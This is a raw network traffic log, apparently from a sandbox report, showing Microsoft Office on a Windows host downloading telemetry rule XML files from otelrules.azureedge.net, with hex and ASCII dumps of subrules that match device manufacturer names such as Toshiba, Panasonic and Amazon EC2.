2024-11-25 04:59:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:24 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:25 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 2160d4c7-701e-0021-5913-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045925Z-178bfbc474bbbqrhhC1NYCvw74000000072000000000e87u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:25 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:25 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3c6e4b4f-901e-005b-7308-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045925Z-178bfbc474bgvl54hC1NYCsfuw000000070g000000004u65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:25 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045925Z-15b8b599d88qw29phC1TEB5zag00000005g00000000050b5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:25 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 09788b64-001e-0046-6eb7-3eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045925Z-178bfbc474bv7whqhC1NYC1fg4000000070g000000006h31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:25 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:25 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045925Z-178bfbc474bfw4gbhC1NYCunf4000000073g00000000051q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:25 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:27 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:27 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045927Z-178bfbc474bfw4gbhC1NYCunf4000000071g0000000055r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:27 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:27 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e4221271-301e-0051-4239-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045927Z-174c587ffdfgcs66hC1TEB69cs00000005cg00000000474c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:27 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045927Z-174c587ffdf6b487hC1TEBydsn00000005d00000000091ns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:27 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:27 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 069344af-301e-0020-09c0-3e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045927Z-178bfbc474bh5zbqhC1NYCkdug00000006u000000000kgd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:28 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:27 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c4b984cf-b01e-001e-2446-3c0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045927Z-15b8b599d882l6clhC1TEBxd5c00000005bg000000008y43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:29 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:30 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 97f3364e-001e-00a2-6ca6-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045930Z-178bfbc474bw8bwphC1NYC38b400000006tg00000000atck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:30 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:29 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
